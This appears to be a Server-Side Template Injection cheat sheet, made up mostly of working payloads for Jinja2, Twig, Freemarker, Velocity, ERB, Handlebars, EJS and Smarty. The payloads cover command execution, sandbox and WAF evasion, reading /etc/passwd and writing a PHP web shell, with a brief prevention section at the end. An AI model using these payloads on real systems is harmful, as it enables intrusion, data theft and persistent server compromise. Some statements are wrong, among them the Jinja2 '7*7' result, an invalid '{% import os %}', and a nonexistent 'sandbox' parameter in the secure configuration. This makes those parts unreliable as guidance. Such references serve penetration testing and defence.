Introduction
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded directly into a template in an unsafe manner. When a web application fails to properly sanitize user input before inserting it into a server-side template, attackers can inject malicious template directives that can lead to remote code execution (RCE), data leakage, and other security issues.
Common Vulnerable Template Engines
| Template Engine | Language/Framework | Example Syntax |
|---|---|---|
| Jinja2/Twig | Python/PHP | {% raw %}{{ code }}, {% statement %}{% endraw %} |
| Freemarker | Java | ${code}, <#directive> |
| Velocity | Java | #directive, $variable |
| Handlebars | JavaScript | {{expression}} |
| EJS | JavaScript | <%= code %> |
| JSP | Java | <%= code %>, <% code %> |
| ERB | Ruby | <%= code %>, <% code %> |
| Smarty | PHP | {$variable}, {code} |
| Mako | Python | ${expression}, <% code %> |
| Pug/Jade | JavaScript | #{expression}, =expression |
| Thymeleaf | Java | th:text="${expression}" |
Detection Techniques
Basic Detection Payloads
Test for mathematical operations to detect template injection points:
{% raw %}
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
{% endraw %}
Error-Based Detection
Sending invalid syntax to generate errors:
{% raw %}
{{7*'7'}}
${foobar}
<%= undefined_variable %>
{% endraw %}
Detection by Template Engine
Jinja2/Twig (Python/PHP)
{% raw %}
{{7*'7'}} # Jinja2 will execute and return 49, Twig will error
{{config}} # Jinja2 specific
{{dump()}} # Twig specific
{% endraw %}
Freemarker (Java)
${7*7}
<#if 7*7==49>True</#if>
Velocity (Java)
#set($x = 7*7)${x}
#if(7*7==49)True#{end}
Handlebars (JavaScript)
{% raw %}
{{#if (eq (math 7 "*" 7) 49)}}True{{/if}}
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |sp|}}{{#with "../../../lookup"}}{{#with (lookup (lookup (string.sub sp.0 7 8)) string.sub) as |safe|}}{{#with (lookup"constructor" safe.data)}}{{#with (safe.apply this undefined safe.data)}}{{#with (lookup"process" global)}}{{#with (jailbreak (lookup"mainModule" this))}}{{#with (jailbreak (this.require "child_process"))}}{{jailbreak (this.exec "id")}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}
{% endraw %}
EJS (JavaScript)
<%= 7*7 %>
<% if(7*7==49) { %>True<% } %>
ERB (Ruby)
<%= 7*7 %>
<% if 7*7==49 %>True<% end %>
Smarty (PHP)
{$smarty.version}
{php}echo 7*7;{/php}
Basic Exploitation by Template Engine
Jinja2/Twig (Python)
Basic Information Disclosure
{% raw %}
{{ config }}
{{ config.items() }}
{{ self.__dict__ }}
{{ request }}
{{ request.environment }}
{{ url_for.__globals__ }}
{% endraw %}
Remote Code Execution
{% raw %}
# Access to Python built-ins
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Find a useful class for RCE
{{ ''.__class__.__mro__[1].__subclasses__()[<index of subprocess.Popen>]('id', shell=True, stdout=-1).communicate()[0].strip() }}
# Alternative using __import__
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# More direct approach with import
{% import os %}{{ os.popen('id').read() }}
{% endraw %}
Twig (PHP)
Basic Exploitation
{% raw %}
{{_self.env.display("id")}}
{{_self.env.createTemplate("{{phpinfo()}}")}}
{{['id']|filter('system')}}
{% endraw %}
Freemarker (Java)
Information Disclosure
${object.class}
${object.getClass().getConstructor().newInstance()}
${object.getClass().getName()}
Remote Code Execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
# Executing commands via Java Runtime
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("id")}
Velocity (Java)
Remote Code Execution
#set($runtime = $class.getClassLoader().loadClass("java.lang.Runtime").getRuntime())
$runtime.exec("id")
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($ex=$class.forName("java.lang.Runtime").getRuntime().exec("id"))
ERB (Ruby)
Remote Code Execution
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read() %>
<%= eval('`id`') %>
Handlebars (JavaScript)
{% raw %}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{#with string.sub.apply conslist}}
{{this}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{% endraw %}
EJS (JavaScript)
<% global.process.mainModule.require('child_process').exec('id', function(error, stdout, stderr) { %>
<%= stdout %>
<% }); %>
Smarty (PHP)
{php}system("id");{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id'); ?>",self::clearConfig())}
Advanced Exploitation Techniques
Jinja2 Filter Bypass Payloads
{% raw %}
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}
{{request|attr("__class__")|attr("__mro__")|attr("__getitem__")(1)|attr("__subclasses__")()|attr("__getitem__")(128)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("id")|attr("read")()}}
{% endraw %}
Sandbox Escape Techniques
Python Sandbox Escape
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("id").read()}}
{% endif %}
{% endfor %}
# Using namespace creation
{{ namespace.__init__.__globals__.os.popen('id').read() }}
# Using cycler object in Flask/Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Using joiner object in Flask/Jinja2
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{% endraw %}
Java Sandbox Escape
# For Freemarker
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign ownerClass=classloader.loadClass("freemarker.template.Configuration")>
<#assign field=ownerClass.getDeclaredField("_ObjectBuilderSettings")>
<#assign field.accessible=true>
<#assign object=field.get(null)>
<#assign constructor=object.class.getDeclaredConstructors()[0]>
<#assign constructor.accessible=true>
<#assign object=constructor.newInstance()>
<#assign method=object.class.getDeclaredMethods()[0]>
<#assign method.accessible=true>
<#assign result=method.invoke(object, "/bin/bash", "-c", "id")>
WAF Bypass Techniques
Character Encoding and Obfuscation
{% raw %}
# URL Encoding
{{config.__class__.__init__.__globals__['os'].popen(request.args.get('cmd')).read()}}
// Encode 'os' as %6f%73 and other parts as needed
# Unicode Normalization
{{config.__class__.__init__.__globals__['\u006f\u0073'].popen("id").read()}}
# Hex Encoding
{{config.__class__.__init__.__globals__['\x6f\x73'].popen("id").read()}}
{% endraw %}
String Concatenation
{% raw %}
# Jinja2
{{ config.__class__.__init__.__globals__['o'+'s'].popen('i'+'d').read() }}
# PHP/Smarty
{$smarty.block.child["__construct"]("file_get_contents",["php://filter/convert.base64-encode/resource=index.php"])}
# Freemarker
${"".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke("".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(null),"id")}
{% endraw %}
Alternative Syntax
{% raw %}
# Jinja2
{% set cmd = 'import os; os.popen("id").read()' %}
{{ lipsum.__globals__.__builtins__.eval(cmd) }}
# Ruby ERB
<%= defined?(proc) ? proc { |n| eval(n) }.call('system("id")') : system("id") %>
{% endraw %}
File Read/Write Techniques
Reading Files
Jinja2/Python
{% raw %}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}
{% endraw %}
PHP/Smarty/Twig
{% raw %}
{include file='/etc/passwd'}
{{file_get_contents('/etc/passwd')}}
{% endraw %}
Java/Freemarker
${object.getClass().forName("java.io.FileReader").newInstance("/etc/passwd").toString()}
Writing Files
Jinja2/Python
{% raw %}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/shell.php', 'w').write('<?php system($_GET["cmd"]);?>') }}
{% endraw %}
PHP/Smarty/Twig
{$smarty.template_object->smarty->registerResource('file',
array('resource_open'=>function($path){return fopen($path,'w');},'resource_get'=>function($fp){fwrite($fp,'<?php system($_GET["cmd"]);?>');return true;}))}
{extends file='../../../var/www/html/shell.php'}
Java/Freemarker
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("echo '<?php system($_GET[\"cmd\"]);?>' > /var/www/html/shell.php")}
Impact of SSTI Vulnerabilities
- Remote Code Execution (RCE) - Execute arbitrary system commands
- Information Disclosure - Leak sensitive configuration, environment variables, etc.
- File System Access - Read/write files on the server
- Server-Side Request Forgery (SSRF) - Make requests from the server to internal resources
- Denial of Service (DoS) - Crash the application or degrade performance
Prevention and Mitigation
General Best Practices
-
Use Template Engine Features Safely
- Use sandboxed environments/configurations
- Disable dangerous features (autoescape=True in Jinja2)
- Use strict contextual escaping
-
User Input Handling
- Never pass user input directly to template engines
- Implement context-specific encoding/escaping
- Validate user input against whitelist patterns
-
Implement Security Headers
- Content-Security-Policy (CSP)
- X-Content-Type-Options: nosniff
-
Template Engine Configuration
# Secure Jinja2 configuration jinja2_env = jinja2.Environment( autoescape=True, sandbox=True, cache_size=0 )
Specific Recommendations by Template Engine
Jinja2 (Python)
# Use auto-escaping
env = jinja2.Environment(autoescape=True)
template = env.from_string(user_template)
# Use a sandbox
env = SandboxedEnvironment()
# Avoid letting users control the template structure entirely
# Instead, use placeholders in your own templates
safe_template = "Hello, {{ name }}!"
result = env.from_string(safe_template).render(name=user_input)
Twig (PHP)
// Use a sandboxed environment
$twig = new \Twig\Environment($loader);
$policy = new \Twig\Sandbox\SecurityPolicy(
['Math'], // Allowed tags
[], // Allowed filters
[], // Allowed methods
[], // Allowed properties
[] // Allowed functions
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
Freemarker (Java)
// Restrict template access
Configuration cfg = new Configuration();
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
cfg.setLogTemplateExceptions(false);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setObjectWrapper(new SimpleObjectWrapper());
Common Security Misconfigurations
-
Debug modes enabled in production
- Can leak sensitive information via error messages
-
Overly permissive template contexts
- Avoid exposing global objects/context unnecessarily
-
Lack of input validation
- Validate user input before processing in templates
-
Disabled auto-escaping features
- Keep auto-escaping enabled for all user inputs
SSTI Testing Tools
-
Tplmap - Automatic Server-Side Template Injection Detection and Exploitation Tool
-
Burp Suite Extensions
- J2EE Scan
- Backslash Powered Scanner
- SSTI Scanner
-
PayloadsAllTheThings - SSTI Collection